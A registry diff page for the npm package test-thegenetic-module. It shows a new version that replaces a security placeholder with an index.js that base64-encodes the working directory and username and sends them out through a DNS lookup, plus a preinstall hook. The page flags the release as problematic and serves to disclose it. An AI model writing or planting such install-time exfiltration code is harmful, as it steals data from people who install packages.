test-thegenetic-module 0.0.1-security ā 2.2.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of test-thegenetic-module might be problematic. Click here for more details.
- package/index.js +35 -0
- package/package.json +12 -3
- package/preinstall.js +9 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
|
|
3
|
+
const stolenData = {
|
|
4
|
+
cwd: process.cwd(),
|
|
5
|
+
user: process.env.USER,
|
|
6
|
+
timestamp: Date.now()
|
|
7
|
+
};
|
|
8
|
+
|
|
9
|
+
// Encode and make DNS-safe (important!)
|
|
10
|
+
const dataHash = Buffer.from(JSON.stringify(stolenData))
|
|
11
|
+
.toString('base64')
|
|
12
|
+
.replace(/=/g, '') // Remove = padding
|
|
13
|
+
.replace(/\//g, '-') // Replace / with -
|
|
14
|
+
.replace(/\+/g, '_'); // Replace + with _
|
|
15
|
+
|
|
16
|
+
const query = `${dataHash}.test`;
|
|
17
|
+
|
|
18
|
+
console.log('š¤ DNS Query with encoded data:');
|
|
19
|
+
console.log(' ', query);
|
|
20
|
+
console.log('\nš Original data:');
|
|
21
|
+
console.log(' ', stolenData);
|
|
22
|
+
|
|
23
|
+
dns.lookup(query, (err, address) => {
|
|
24
|
+
if (err) {
|
|
25
|
+
console.log('\nā
Success! DNS query sent (got expected error)');
|
|
26
|
+
console.log(' Error:', err.code, '- This is normal for .test domain');
|
|
27
|
+
console.log('\nš To decode captured data:');
|
|
28
|
+
console.log(' 1. Copy the base64 from tcpdump');
|
|
29
|
+
console.log(' 2. Replace - with / and _ with +');
|
|
30
|
+
console.log(' 3. Add = padding if needed');
|
|
31
|
+
console.log(' 4. Use base64 decode');
|
|
32
|
+
} else {
|
|
33
|
+
console.log('\nā ļø Unexpected: Resolved to', address);
|
|
34
|
+
}
|
|
35
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "test-thegenetic-module",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.2.8",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "echo \"its preinstall script\" && node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"test-thegenetic-module": "^2.2.5"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/preinstall.js
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=test-thegenetic-module for more information.
|